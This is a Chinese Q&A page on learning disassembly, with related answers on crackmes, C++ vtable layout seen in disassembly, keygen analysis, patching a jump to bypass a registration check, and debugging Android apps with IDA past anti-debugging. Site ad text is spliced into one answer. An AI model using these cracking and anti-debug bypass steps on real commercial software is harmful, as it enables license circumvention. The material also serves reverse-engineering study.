DNA图谱 / 问答 / 问答详情

怎样可以快速学会反汇编分析?

2023-07-05 10:40:39
TAG: 反汇编
共1条回复
kikcik

回复 1楼 天使联盟 的帖子这些东西可以去“看雪”或者“UpK”这两个论坛看看,技术挺不错的关键在于你要用反汇编去分析什么,完全没有目的一行一行的看汇编代码,谁都得吐血的……先确定一个目的,有了目的之后再根据目的去定位程序中的关键位置,然后去分析具体部分其实反汇编分析的入门阶段并不要求汇编水平有多高,基本汇编指令能看懂就OK,并不要求有基于汇编语言的开发背景加壳的东西可以去搜索脱壳的教程,自己分析的话需要对汇编算法和数据结构都很熟悉,一般压缩壳问题不大,F8一路跑下去就OK加密壳的话就看你的算法基础了。至于高级语言,反汇编Delphi程序蛮蛋疼的,不是Delphi语言的问题,而是Borland公司的编译器的问题(Borland C++编译的程序同样蛋疼)……简直就是call的浪费者,为了实现一个很小的功能,编译器能一层一层的向下call十几层……VB的东西就已经不能用蛋疼形容了……一般VB、.NET类的程序都有专门的反编译工具,不用反汇编的,都是直接反成高级语言进行分析。反汇编分析的基础建议从C/C++语言编译出的程序开始练起,尤其是VC编译出来的,比较标准,也很通用。自己编些最基础的控制台程序(比如只有一个简单循环的小程序,或者只有一个简单条件判断语句的小程序),然后自己用OD跟一下。能了解各种语句在反汇编中的汇编代码形式看雪一类的论坛有专门的CrackMe或者TraceMe的练习破解的小程序,可以用来练习破解、跟踪、脱壳等技能跟踪Win32程序进行行为分析的话,对Windows系统API的定位是非常实用的方法,能快速跟踪出程序的大体行为。至于快一点的方法——没有。成功没有捷径,技术是靠勤奋一点点积累起来的。

相关推荐

什么叫Crackme?

不是的,一般这样的程序是由一些人写出来的一个小程序,程序很小,只有一个功能,输入一些信息和注册码,然后匹配,或者其他的方式,总之就是一个软件注册的部分的独立版本.这个程序的作用就是供破解爱好者破解它的加密原理,写成注册机,是一种学习黑客破解技术的工具.这样的程序本身没有任何攻击性,当你破解出其加密原理的时候你甚至可以和作者联系,交流经验
2023-07-05 03:03:123

c++反汇编与逆向分析技术揭秘 crackme怎么无法运行

一、单类继承在父类中声明为私有的成员,子类对象无法直接访问,但是在子类对象的内存结构中,父类私有的成员数据依然存在。C++语法规定的访问限制仅限于编译层面,在编译过程中进行语法检查,因此访问控制不会影响对象的内存结构。子类未提供构造函数或析构函数,而父类却需要构造函数与析构函数时,编译器会为子类提供默认的构造函数与析构函数。但是子类有构造函数,而父类不存在构造函数,且没有虚函数,则编译器不会为父类提供默认的构造函数。1. 内存结构:①先安排父类的数据②后安排子类新定义的数据说明:基于上述的内存排列方法,即父类数据成员被安排前面。不管是父类的对象,还是子类的对象,父类的数据成员在内存中相对于对象的首地址的偏移值都是一样的。而且成员数据访问都是基于this指针间接寻址的。所以,对于子类对象而言,使用父类指针或者子类指针都可以正确访问其父类数据。2. 虚表:虚表的排列顺序是按虚函数在类继承层次中首次声明的顺序依次排列的。只要继承了父类,其派生类的虚函数表中的父类部分的排列就与父类一样。子类新定义的虚函数会按照声明顺序紧跟其后。3. 构造函数:①先调用父类构造函数②然后按照声明顺序调用成员数据变量的构造函数和初始化列表中指定的成员③最后再执行子类构造函数的函数体。说明:①父类构造函数,虚表指针修改为指向父类的虚表,所以在父类构造函数内调用虚函数,调用的是父类的虚函数。②子类构造函数,虚表指针修改为指向子类的虚表4. 析构函数:①先调用子类析造函数②然后成员对象的析构函数,按照声明的顺序以倒序方式依次调用成员对象的析构函数。③再执行父类构造函数说明:析构函数执行会首先设置虚表指针为自身虚表,再调用自身的析构函数。防止父类析构函数内调用子类对象的虚函数。类有派生与继承关系,需要声明析构函数为虚函数。若析构函数不是虚函数时,当使用父类指针指向堆中的子类对象,并使用delete释放对象空间时,编译器会按照指针类型调用父类的析构函数,从而引发错误。识别类之间的关系:先定位构造函数,根据构造先后顺序得到与之相关的其他类。再根据虚表,利用IDA中使用引用参考功能可得到所有的构造和析构函数。二、多重继承1. 内存排列:数据成员的排列顺序由继承父类的先后顺序所决定,从左向右依次排列。子类虚表指针的个数取决于所继承的父类的个数,有几个父类便对应几个虚表指针(虚基类除外)。将一个子类对象赋值给某个父类指针时,该父类指针便指向该父类所对应的虚表指针。三、单类继承与多重继承比较:单继承类在类对象占用的内存空间中,只保存一份虚表指针只有一个虚表指针,对应的也只有一个虚表虚表中各项保存了类中各虚函数的首地址构造时先构造父类,再构造自身,并且只调用一次父类构造函数析构时限析构自身,再析构父类,并且只调用一次父类析构函数多重继承类在类中所占用的内存空间中,根据继承父类的个数保存对应的虚表指针根据所保存的虚表指针的个数,对应产生相应个数的虚表。转换父类指针时,需要跳转到对象的首地址。构造时需要按照继承顺序调用多个父类构造函数。析构时先析构自身,然后以与构造函数相反的顺序调用所有父类的析构函数当对象作为成员时,整个类对象的内存结构和多重继承相似。当类中无虚函数时,整个类对象内存结构和多重继承完全一样,可酌情还原;当父类或成员对象存在虚函数时,通过过观察虚表指针的位置和构造函数、析构函数中填写虚表指针的数目及目标地址,来还原继承或成员关系。四、 示例1. 单类继承:C++源码1 #include <iostream>2 using namespace std;34 class Base {5 public:6 Base(){ nBase= 1;printf("CBase"); }7 ~Base(){ printf("~CBase"); }8 virtual void f() { printf("Base:f()");}9 virtual void g() { printf("Base:g()");}10 private:11 int nBase;12 13 };14 15 16 class Derive : public Base {17 public:18 Derive(){ nDerive=2;printf("Derive"); }19 ~Derive(){ printf("~Derive"); }20 virtual void g(){ printf("Dervie:g()");}21 virtual void h(){ printf("Dervie:h()");}22 private:23 int nDerive;24 };25 26 27 28 int main()29 {30 Derive d;31 Base *b = &d;32 b->g();33 return 0;34 } 汇编代码(VS2010编译)1. 内存分布1 类Derive对象2 0019FD30 0139583C =>.rdata:const Derive::`vftable"3 0019FD34 00000001 =>Base.nBase4 0019FD38 00000002 =>Derive.nDerive5 6 虚函数表7 0139583C 01391163 Base::f(void)8 01395840 0139110E Derive::g(void)9 01395844 013911AE Derive::h(void) 2. 构造函数1 pop ecx ;=>this指针出栈2 mov [ebp+this], ecx ;=>保存this指针3 mov ecx, [ebp+this] 4 call j_??0Base@@QAE@XZ ;=>调用基类构造函数Base::Base(void)5 mov eax, [ebp+this] ;=>eax=this指针6 mov dword ptr [eax], offset ??_7Derive@@6B@ ;=>初始化虚表指针为const Derive::`vftable"3. 析构函数1 pop ecx ;=>this指针出栈2 mov [ebp+this], ecx ;=>保存this指针3 mov eax, [ebp+this]4 mov dword ptr [eax], offset ??_7Derive@@6B@ ;=>重置虚表指针为const Derive::`vftable"5 mov esi, esp6 push offset aDerive ; "~Derive"7 call ds:__imp__printf8 add esp, 49 cmp esi, esp10 call j___RTC_CheckEsp11 mov ecx, [ebp+this] ;=>ecx传参this指针 12 call j_??1Base@@QAE@XZ ; =>调用基类析构函数 Base::~Base(void)2. 多重继承: C++源码1 #include <iostream>2 using namespace std;34 class Base1 {5 public:6 virtual void f() { cout << "Base1::f" << endl; }7 virtual void g() { cout << "Base1::g" << endl; }8 Base1(){b1 = 1; printf("Base1"); }9 ~Base1(){ printf("~Base1"); }10 private:11 int b1;12 13 };14 15 class Base2 {16 public:17 virtual void f() { cout << "Base2::f" << endl; }18 virtual void g() { cout << "Base2::g" << endl; }19 Base2(){b2 = 2; printf("Base2"); }20 ~Base2(){ printf("~Base2"); }21 private:22 int b2;23 };24 25 class Derive : public Base1, public Base2{26 public:27 virtual void f() { cout << "Derive::f" << endl; }28 virtual void g1() { cout << "Derive::g1" << endl; }29 Derive(){ d1 = 3; printf("Derive"); }30 ~Derive(){ printf("~Derive"); }31 private:32 int d1;33 34 };35 36 typedef void(*Fun)(void);37 38 int main()39 {40 41 Derive d;42 Base1 *b1 = &d;43 b1->f();44 b1->g();45 Base2 *b2 = &d;46 b2->f();47 b2->g();48 return 0;49 }汇编代码(VS2010编译) 1.内存分布;内存布局0019FA0C 008F584C ;=>.rdata:const Derive::`vftable"{for `Base1"} 第一个虚表0019FA10 00000001 ;=>Base1.b10019FA14 008F583C ;=>.rdata:const Derive::`vftable"{for `Base2"} 第二个虚表0019FA18 00000002 ;=>Base2.b20019FA1C 00000003 ;=>Derive.d1;虚函数表Derive::`vftable"{for `Base1"}00FB584C 00FB1041 ;=>Derive::f(void)00FB5850 00FB1118 ;=>Base1::g(void)00FB5854 00FB111D ;=>Derive::g1(void);虚函数表Derive::`vftable"{for `Base2"}00FB583C 00FB1113 ;=>Base2::g(void)00FB5840 00FB1028 ;=>[thunk]:Derive::f`adjustor{8}" (void)↓ ;追踪地址:00FB102800FB1028 jmp ?f@Derive@@W7AEXXZ ;=>[thunk]:Derive::f`adjustor{8}" (void)↓ ;追踪函数:?f@Derive@@W7AEXXZ00FB1F30 ?f@Derive@@W7AEXXZ proc near00FB1F30 sub ecx, 8 ;=>调整this指针 this = this+8,则this=>Derive::`vftable"{for `Base2"}00FB1F33 jmp j_?f@Derive@@UAEXXZ ;=>Derive::f(void)2.构造函数1 00FB14D9 mov [ebp-4], ecx ;=>this指针保存在esp-4处2 00FB14DC mov ecx, [ebp-4]   ;=>ecx获得this指针3 00FB14DF call j_??0Base1@@QAE@XZ ;=>调用构造函数 Base1::Base1(void)4 00FB14E4 mov ecx, [ebp-4]   ;=>ecx获得this指针5 00FB14E7 add ecx, 8    ;=>ecx获得this+86 00FB14EA call j_??0Base2@@QAE@XZ ;=>调用构造函数 Base2::Base2(void)7 00FB14EF mov eax, [ebp-4] ;=>eax获得this指针8 00FB14F2 mov dword ptr [eax], offset ??_7Derive@@6BBase1@@@ ;=>初始化第一个虚表指针为const Derive::`vftable"{for `Base1"}9 00FB14F8 mov eax, [ebp-4] ;=>eax获得this指针10 00FB14FB mov dword ptr [eax+8], offset ??_7Derive@@6BBase2@@@ ;=>初始化第二个虚表指针const Derive::`vftable"{for `Base2"}11 00FB1502 mov eax, [ebp-4] ;=>eax获得this指针12 00FB1505 mov dword ptr [eax+10h], 313 00FB150C push offset Format ; "Derive"14 00FB1511 call ds:__imp__printf15 00FB1517 add esp, 43.析构函数00FB17C9 mov [ebp-4], ecx ;=>this指针保存在esp-4处00FB17CC mov eax, [ebp-4] ;=>ecx获得this指针00FB17CF mov dword ptr [eax], offset ??_7Derive@@6BBase1@@@ ;=>重置第一个虚表指针为const Derive::`vftable"{for `Base1"}00FB17D5 mov eax, [ebp-4]00FB17D8 mov dword ptr [eax+8], offset ??_7Derive@@6BBase2@@@ ;=>重置第二个虚表指针为const Derive::`vftable"{for `Base2"}00FB17DF push offset aDerive ; "~Derive"00FB17E4 call ds:__imp__printf00FB17EA add esp, 400FB17ED mov ecx, [ebp-4] ;=>ecx获得this指针00FB17F0 add ecx, 8 ;=>ec;得this+800FB17F3 call j_??1Base2@@QAE@XZ ;=>调用虚构函数Base2::~Base2(void)00FB17F8 mov ecx, [ebp-4] ;=>ecx获得this指针00FB17FB call j_??1Base1@@QAE@XZ ;=>调用虚构函数Base1::~Base1(void)4.虚函数调用;Base1 *b1 = &d;00FB1431 lea eax, [ebp-14h] ;=>eax获得this指针00FB1434 mov [ebp-18h], eax ;=>局部变量b1赋值为this指针;b1->f();00FB1437 mov eax, [ebp-18h] ;=>eax获得b1值00FB143A mov edx, [eax] ;=>edx指向第一个虚表00FB143C mov ecx, [ebp-18h] ;=>ecx传递this指针00FB143F mov eax, [edx] ;=>eax获得成员函数Derive::f(void)的地址00FB1441 call eax ;=>调用成员函数Derive::f(void);b1->g();00FB1443 mov eax, [ebp-18h] ;=>eax获得b1值00FB1446 mov edx, [eax] ;=>edx指向第一个虚表00FB1448 mov ecx, [ebp-18h] ;=>ecx传递this指针00FB144B mov eax, [edx+4] ;=>eax获得成员函数Derive::g(void)的地址00FB144E call eax ;=>调用成员函数Derive::g(void);Base2 *b2 = &d;00FB1457 lea ecx, [ebp-14h] ;=>ecx获得this指针00FB145A add ecx, 8 ;=>ecx=this+8指向第二个虚表00FB145D mov [ebp-64h] ;=>保存ecx到临时变量中00FB1460 jmp short loc_FB1469 ;--|; |00FB1469 mov edx, [ebp-64h];<----| 00FB146C mov [ebp-1Ch], edx ;=>局部变量b2赋值为this+8;b2->f();00FB146F mov eax, [ebp-1Ch] ;=>eax获得b2值00FB1472 mov edx, [eax] ;=>edx获得指向第二个虚表00FB1474 mov ecx, [ebp-1Ch] ;=>ecx传递this+800FB1477 mov eax, [edx+4] ;=>eax为第二个虚表的第二个元素=>[thunk]:Derive::f`adjustor{8}" (void),间接调用Derive::f(void)00FB147A call eax;b2->g();00FB147C mov eax, [ebp+b2] ; =>eax获得b2值00FB147F mov edx, [eax] ;=>edx获得指向第二个虚表00FB1481 mov ecx, [ebp+b2] ;=>ecx传递this+800FB1484 mov eax, [edx] ;=>eax为第二个虚表的第一个元素=>Base2::g(void)00FB1486 call eax ;=>调用Base2::g(void)
2023-07-05 03:03:181

c++怎么破解crackme程序?

先回答标题:C++ 只是开发语言,不能破解任何程序。 C++开发软件的话就另当别论了。破解crackme一般是使用各种调试工具(如:od)找到算法代码进行逆算。再用C++等发工具,把逆算算法打包成注册机
2023-07-05 03:03:252

aes密码能破解吗

密码破解分为两种,一是算法破解,二是暴力破解。算法破解就是找到加密算法的漏洞,进行技巧性的破解。暴力破解是在知道加密算的情况下,用各种密码去测试。关于暴力破解也不是真正的暴力,有很多技术巧。如有效的密码字典就是一例。AES目前没有算法浮出水面。AES暴力破解与密码强度(如字串的MD5值就难,简单字串在密码字典排序告前,相对容易一些)和计算能力有关。但AES密钥长度太长,各种排列组合简直是天文数字,现有能力民间单机不可能破解。当然也可能一买彩票就中大奖,但似乎比那概率小得多。
2023-07-05 03:03:354

CrackMe破解(算法)思路vb的程序

首先看是不是PCODE,是用VBEXPLORER等工具,加上一些资料应该还是挺简单的不是PCODE先用C32ASM看字符串,再用OD到附近下断,基本上就到领空了。下来就是分析了。记得看雪有个VB的CHM,楼主可以找找看 ===========================你进op以后bpx soso(随便一个字符串) 一下,发现里面有大量的函数调用就是了
2023-07-05 03:03:572

根据两组注册码推算加密规则:

我们如今见到的大多数软件的虽然在注册算法,验证方式都各不相同自成体系。但不管怎样变化都没有脱离出一个关于注册码的定式:注册信息 + 算法计算 = 注册码 。概括地说就是如今大多数软件所采取的注册码生成的方式都是按照:F(注册信息) = 注册码,F(X)表示特定的算法。这样的形式计算得出的。大家也可以留心观察一下平时分析所遇到的软件,绝大部分都是采用这样的方式进行注册码计算的,无论其中的那个F(X)采取何种复杂的计算,其最根本的形式都是一样的。 纳金网为您解答!narkii com这个计算模式,对于破解软件的人来说是一件好事。为什么呢,因为不论注册算法如何,只要能够分析出详细的计算过程或是核心的计算方法都可以轻松的做出注册机。也许有人说他们的算法十分强劲,但是,由于最基本的模式的限制,我们甚至不用分析出具体算法只需要找到算法计算的结果,就可以达到破解的目的。所以说:F(注册信息) = 注册码这种经典的模式是有一定的局限性的,有的时候这样的方式根本起不到保护软件的作用。 那么,还有没有其他的模式呢!其实,有的人已经注意到这个问题了于是一种新的注册码计算模式出现了,这个模式可以概括成:F(注册信息) = G(注册码)也就是说,对注册信息和注册码按照不同的算法,同时进行计算。以前的注册码都是“被动”的,计算出的结果是什么注册码就是什么,但现在情况不同了,注册算法计算出的结果必须和注册码经过计算后的结果相同才能注册成功。 这样的好处就是,即使破解者分析出了计算注册码的算法,也不一定能够做出符合条件的注册机,因为注册码不仅需要经过计算,而且要保证两个算法计算得到的结果要相同。 对于这样的计算模式,破解的工作量也就无形中加大了,不仅要同时分析出两种不同的算法,而且还要保证计算得到的结果相同。可以肯定,这确实是一种很不错的方法。 下面,我们就通过两个非常简单的实例来给大家介绍一下这种方法的实际应用。 首先来看看第一个例子,这是一个crackme我们先来查一下壳,用peid检查一下结果程序没有加壳。现在就用OD来打开它,通过字符串查找的方法很快就可以找到关键的代码了,过程就不详细说了重点在分析。我们来到一下代码处: 00425050 |. 55 PUSH EBP         ; 来到了这里 00425051 |. 68 11514200 PUSH CrackMe.00425111 00425056 |. 64:FF30 PUSH DWORD PTR FS:[EAX] 00425059 |. 64:8920 MOV DWORD PTR FS:[EAX],ESP 0042505C |. 8D55 FC LEA EDX,DWORD PTR SS:[EBP-4] 0042505F |. 8B83 B8010000 MOV EAX,DWORD PTR DS:[EBX+1B8] 00425065 |. E8 96C9FEFF CALL CrackMe.00411A00 ; 取注册名位数 0042506A |. 8D55 F4 LEA EDX,DWORD PTR SS:[EBP-C] 0042506D |. 8B83 BC010000 MOV EAX,DWORD PTR DS:[EBX+1BC] 00425073 |. E8 88C9FEFF CALL CrackMe.00411A00 ; 取假码位数 00425078 |. 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C] ; EBP-C=假码 0042507B |. 8D55 F8 LEA EDX,DWORD PTR SS:[EBP-8] 0042507E |. E8 71D7FDFF CALL CrackMe.004027F4 ; 计算注册码的CALL,跟进 00425083 |. 8BF0 MOV ESI,EAX 00425085 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00425088 |. E8 13010000 CALL CrackMe.004251A0 ; 计算注册名的CALL,跟进 0042508D |. 8BF8 MOV EDI,EAX 0042508F |. 3BFE CMP EDI,ESI 注册码的计算结果与注册名的计算结果相比 00425091 |. 74 18 JE SHORT CrackMe.004250AB 两者相等就跳向成功这段代码就是这个crackme完整的注册流程:首先,记录我们输入的注册名和注册码;然后,将注册名与注册码分别进行计算;最后,将两个计算所得到的结果进行比较,两个结果相等就注册成功。从这里我们就可以看出与以往注册码计算的不同之处了,通常在这里只会对注册名或者其他相类似的注册信息进行计算;而在这个crackme中依次对注册名和注册码进行了计算。计算完成之后,便对两个计算结果进行比较,和往常一样两个值相等就注册成功。 那么,现在我们就来依次分析一下程序对注册名和注册码都进行了怎样一个具体的计算过程。当步过对注册码进行处理的那个call时我们发现注册码的值确实发生了变化,但是这个变化让人感到很意外我输入的注册码是12345经过这个call以后这个值变成了3039本想跟进去详细的看看,可马上想起来了3039刚好就是12345对应的十六进制数,原来在这里程序只是把输入的注册码转换成了对应的十六进制数。看完了注册码我们看看程序对注册名事怎么样进行计算的,跟进对注册名进行计算的call来到下面的代码处: 004251A0 /$ 53 PUSH EBX 004251A1 |. 89C3 MOV EBX,EAX ; EAX=EBX=输入的注册名 004251A3 |. 83FB 00 CMP EBX,0 ; 输入注册名了吗,没有输入就跳走 004251A6 |. 74 13 JE SHORT CrackMe.004251BB 004251A8 |. B8 01000000 MOV EAX,1 ; 使EAX=1 004251AD |. 31C9 XOR ECX,ECX ; ECX清零 004251AF |> 8A0B /MOV CL,BYTE PTR DS:[EBX] ; 取注册名每一位的HEX值,放进ECX 004251B1 |. 80F9 00 |CMP CL,0 004251B4 |. 74 05 |JE SHORT CrackMe.004251BB ; 计算完了吗,计算完毕就跳走 004251B6 |. F7E1 |MUL ECX ; EAX=EAX*EAC 004251B8 |. 43 |INC EBX 纳金网为您解答!narkii com
2023-07-05 03:04:061

crc32crackme简单爆破

【破解过程】: 大家好,今天给大家做一个简单的爆破演示~这个稍微和前面2个有点不一样~呵呵~还是需要我们分析代码,把代码看清楚了就没什么难的了!查壳:Borland Delphi 4.0 - 5.0试运行,输入wynney 444520,提示“错误的注册码”用W32asm无极版载入,查找“错误的注册码”,双击,来到代码处!:00404386 85F6 test esi, esi //比较真假注册码:00404388 7419 je 004043A3 //等于则跳,不等于就不跳咯:0040438A 6A00 push 00000000* Possible StringData Ref from Code Obj ->"错误" |:0040438C 680C444000 push 0040440C* Possible StringData Ref from Code Obj ->"错误的注册码" //*** |:00404391 6814444000 push 00404414大家往上看看,在00404388 7419 je 004043A3有个跳转是可以(注意这个用词)跳到004043A3的我们去004043A3看看吧~* Referenced by a (U)nconditional or (C)onditional Jump at Address:|:00404388(C)|:004043A3 6A00 push 00000000* Possible StringData Ref from Code Obj ->"恭喜" |:004043A5 6824444000 push 00404424* Possible StringData Ref from Code Obj ->"正确的注册码"呵呵~是不是已经很明了了啊,如果跳到这里来了,我们看到的不就是提示正确了吗?那好~我们把00404388的je(74)改成jmp(无条件跳转,就是无论如何都要跳,EB)[这里也可以改成(jne)75]都是一样的结果!是运行下保存的程序,输入wynney,444520呵呵~提示“正确的注册码”好了,今天的动画就到现在啦~~大家好好分析下,找找思路~!~还是那句话我们学破解的,是为了思路,不是为了去破某个软件。。如果你的目的是后者,那么你是会停止不前的!^_^,拜拜咯~ 具体操作还要慢慢练习哦
2023-07-05 03:04:142

android怎么动态调试dex

  1.1 安装JDK  JAVA环境的搭建请自行查找资料,这里不做详述。  1.2 安装Android SDK  下载地址:http://developer.android.com/sdk/index.html。  下载完安装包后解压到任意一目录,然后点击运行SDK Manager.exe,然后选择你需要的版本进行安装,如图:  1.3 安装Eclipse集成开发环境  下载地址:http://www.eclipse.org/downloads。选择Eclipse for Mobile Developers,解压到任意目录即可。  1.4 创建Android Virtual Device  动态调试可以用真实的手机来做调试环境,也可以用虚拟机来做调试环境,本文采用虚拟机环境。因此创建虚拟机步骤如下:  1打开Eclipse –>windows->Android Virtual Device  2点击Create,然后选择各个参数如图:  这里Target 就是前面步骤中安装的SDK 选择任意你觉得喜欢的版本就可以。点击OK 就创建完毕。  1.5 安装 APK改之理  这个是一个很好用的辅助调试的软件,请自行搜索下载。  1.6 安装 IDA6.6  IDA6.6开始支持安卓APP指令的调试,现该版本已经提供免费下载安装,请自行搜搜。  0x02 Dalvik指令动态调试  2.1 准备工作  安卓APP应用程序后缀为apk,实际上是一个压缩包,我们把它改后缀为rar打开如图:  其中classes.dex是应用的主要执行程序,包含着所有Dalvik指令。我们用APK改之理打开apk,软件会自动对其进行反编译。反编译后会有很多smail文件,这些文件保存的就是APP的Dalvik指令。  在APK改之理里双击打开AndroidManifest.xml,为了让APP可调试,需要在application 标签里添加一句android:debuggable="true" 如图:  然后点击保存按钮,然后编译生成新的apk文件。接着打开Eclipse –>windows->Android Virtual Device,选择刚才创建的虚拟机,然后点击start,虚拟机便开始运行。偶尔如果Eclipse启动失败,报错,可以同目录下修改配置文件:  把配置参数原本为512的改为256 原本为1024的改为512,然后再尝试启动。  在SDK安装目录有个命令行下的调试工具adb shell,本机所在目录为E:adt-bundle-windows-x86-20140702sdkplatform-tools,把adb.exe注册到系统环境变量中,打开dos命令行窗口执行adb shell 就可以进入APP命令行调试环境,或者切换到adb所在目录来执行adb shell。  这里先不进入adb shell,在DOS命令行下执行命令:adb install d:1.apk 来安装我们刚才重新编译好的APK文件。安装完毕会有成功提示。  2.2 利用IDA动态调试  将APP包里的classes.dex解压到任意一目录,然后拖进IDA。等待IDA加载分析完毕,点击Debugger->Debugger Options如图  按图所示勾选在进程入口挂起,然后点击Set specific options 填入APP包名称和入口activity 如图:  其中包的名称和入口activity 都可以通过APK改之理里的AndroidManifest.xml 文件获取:  1  2  3    <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.simpleencryption">  <application android:allowBackup="true" android:debuggable="true" android:icon="@drawable/creakme_bg2" android:label="@string/app_name" android:theme="@style/AppTheme">  <activity android:label="@string/app_name" android:name=".MainActivity">    然后在IDA点击Debugger->Process Options  其他默认不变,端口这里改为8700。这里默认端口是23946,我在这里困扰了很久,就是因为这个端口没有改为8700所致。然后我们看看这个8700端口是怎么来的。在Android SDK里提供了一款工具DDMS,用来监视APP的运行状态和结果。在SDK的TOOLS目录有个DDMS.BAT的脚步,运行后就会启动DDMS。由于我的本机安装了SDK的ADT插件,DDMS集成到了Eclips中,打开Eclips->Open perspective->ddms就启动了DDMS。  如图所示:  在DDMS选中某个进程后面就会注释出它的调试端口,本机这里是8700。  到此所有的工作就准备就绪,然后就可以下断点来调试该APP了。我们在APK改之理中在com目录下查看smali文件 发现MainActivity.smali里有一个感兴趣的函数getPwdFromPic(),那么我们就对它下断以跟踪APP的运行。  在IDA里搜索字符串getPwdFromPic,发现onClick有调用该函数  我们在onClick 函数开始位置按F2下断如图:  然后点击上图中绿色三角形按钮启动调试如图:  调试过程中有一个问题出现了很多次,浪费了我大量的时间,就在写文章的时候,操作时还是遇到了这样的问题。就是点击启动后IDA提示can"t bind socket,琢磨了很久终于找到原因了,当打开过一次DDMS后 每次启动Eclips都会启动DDMS 而8700端口正是被这个DDMS给占用了,然后每次都会启动失败,解决办法就是 虚拟机运行起来后关闭掉Eclips,这时一切就正常了!  事例中是一个APP crackme 提示输入密码才能进入正确界面。这个时候我们输入123,点击登陆,IDA中断在了我们设置断点的地方,这时选中ida->debugger->use source level debugger,然后点击ida->debugger->debugger windows->locals打开本地变量窗口,如图:  然后按F7或F8单步跟踪程序流程,同时可以观察到变量值的变化,也可以在IDA右键选择图形视图,可以看到整个APP执行的流程图:  如上图所示 变量窗口中我们输入了123 被转化成的密码是么广亡,pw变量也显示出了正确的密码,其实这个时候已经很容易判断出正确密码了。  0x03 Andoid原生动态链接库动态调试  通常为了加密保护等措施,有时dex执行过程中会调用动态链接库文件,该文件以so为后缀,存在于APP文件包里。  这里我们以动态附加的方式来调试原生库。  3.1 准备工作  1、将IDA->dbgsrv目录下的android_server拷贝到虚拟机里,并赋予可执行权限  DOS命令分别为:  adb shell pull d: android_server /data/data/svadb shell chmod 755 /data/data/sv  2、启动调试服务器android_server  命令:adb shell /data/data/sv  服务器默认监听23946端口。  3、重新打开DOS窗口进行端口转发,命令:  adb forward tcp:23946 tcp:23946 如图:  3.2 利用IDA进行动态调试  1、虚拟机里启动要调试的APP 2、启动IDA,打开debugger->attach->remote Armlinux/andoid debugger  端口改为23946 其他保持不变,点击OK  如上图,选中要调试的APP 的数据包名,然后点击OK。  正常情况下,IDA会把APP进程挂起。  3、由于当前程序不是在动态链接库领空,这时我们要重新打开一个IDA,用它打开需要调试的so文件,找到需要下断的位置的文件偏移,并做记录,然后关闭后面打开的这个IDA。  4、在原IDA界面按下ctrl+s键,找到并找到需要调试的so,同时记录该文件的加载基址。然后点击OK 或者cancel按钮关闭对话框。  5、按下快捷键G 输入基址+文件偏移所得地址,点击OK 就跳转到SO文件需要下断的地方,这时按下F2键设置断点。当APP执行到此处时便可以断下来。  3.3 在反调试函数运行前进行动态调试  程序加载so的时候,会执行JNI_OnLoad函数,做一系列的准备工作。通常反调试函数也会放到JNI_OnLoad函数里。进行4.2中第2步时也许会遇到如下情况:  这时APP检测到了调试器,会自动退出,那么这时调试策略需要有所改变。  接着4.1第3步后,在DOS命令行执行命令:  adb shell am start -D -n com.yaotong.crackme/com.yaotong.crackme.MainActivity  来以调试模式启动APP 如图:  com.yaotong.crackme是APP包名称,com.yaotong.crackme.MainActivity是执行入口 这些可以用APK改之理查看。  这时由于APP还未运行,那么反调试函数也起不了作用,按照4.2中第2步把APP挂起。这时IDA会中断在某个位置  然后点击debugger->debugger opions设置如下:  点击OK 后按F9运行APP,然后再DOS命令下执行命令:  jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700  这时APP会断下来,然后按照4.2中的3、4、5补找到JNI_OnLoad函数的地址并下断,然后按F9 会中断下来。然后便可以继续动态跟踪调试分析。
2023-07-05 03:04:221

新手写了一个crackme,求破解出密码是多少

其中n可以用任意字符代替。
2023-07-05 03:04:306

我想自学计算机请问我要要买那些最基础的资料书啊

1.《黑客入门》这是我看的第一本黑客书籍,是比较初级的一些黑客知识,但是后面的实例运用到了html代码,主要是讲网页方面入侵知识,当时我自己也看不懂那些,因此就去把html学一下(其实也就是看看代码而已,自己根本写不出啥代码来,呵呵……)2.《30天打造专业红客》任何一本写着什么几天精通,几天速成的书,其实都是不可信的,但这不是我们现在要讲的问题,这本书可以弥补上本书中的本足之处,里面有一些内容可能讲得会比较详细些,适合初学者。3.《防黑档案》这本书是东方飘云写的,好像就是绿色兵团的副司令吧,呵呵,我先顶一下…………4.《黑客攻防实战入门》这是一本以实战为主线的黑客书籍,大力推荐!!!必竟电脑技术本来就是要在实践中才能提高的,光靠理论是行不通,你可以边看此书边操作,相信对于你的实战能力会有所帮助的。 上面这些都是一些黑客入门方面的书籍,其中有部分是相同,大家可择其善者而从之!!!5.《C语言程序设计》不学编程的人是永远不可能成为黑客的,因此学编程也成为我们在学黑道路上的必经之路,也是最需要精力与耐力的过程。这本就是谭浩强写的那本,大家也可以看看老外写的那本《the c programe language》,如果你能将书中的代码都自己调试操作一遍,对于C语言基础知识的掌握应该不成问题。6.《VC++深入详解》这是一本他人根据孙鑫的视频教程编写的一本书,因此这本书也就有其配套视频了,地址如下:http://tech.163.com/special/0009159F/vc.html7.《IBM-PC汇编语言程序设计》这是清华大学出版的,虽然有点过时了,是本16位机器时代的,与现在的win32,win64有点差别,但其本质也是大同小异的,相信对于想学习逆向分析的战友们,汇编也是一项必修课啊,关于此书,各位可以看看中山大学的汇编语言视频教程,其教学方式也是比较新颖的,大家一看便知,地址如下:http://bbs.topsage.com/dispbbs_121_164375_1.html如果想要看在线视频,可通过下面地址查看:http://202.116.65.193/Ncourse/hbyy/hb01/,将后面的hb01改为02,03……即可,不过很慢,缓冲都要N久,我是等得不耐烦了,呵呵8.《windows环境下的32位汇编语言程序设计》就是罗云彬写的那本,如果你学完了上本汇编书籍或视频,那么就可以开始学习win32汇编了,要知道这本书我是用手机看的,呵呵,不容易啊,因为缺乏实践,因此自己学得也不咋滴,自己是打算先简单看一遍,简单了解个大概,再看第二遍,这遍以实践操作为主,最后再系统地复习一遍,这项任务,本人尚未完成啊,以上意见也只是给大家做个参考而已,希望对大家有所帮助。9.《ASP从入门到精通》想学脚本入侵的战友,脚本语言是一定要学的,有机会也最好自己做个博客之类的站点。这本书后面有很多的实例项目,如后台管理,收费系统等等。另外还有一本我自己看过的关于asp的书——《ASP可视化编程与应用》,此书是在dreamweaver下面的实践操作,也算是在学asp的同时,也学习一下dreamweaver的使用,一举两得。这两本书中对html以及vbscript均有所讲解,因为asp中可嵌入vbscript,javascript.10.《php高手宝典》此书我是没看过,只是看了下目录与开头而已,打算后面有时间再补看一下,因此对此书我也没有什么发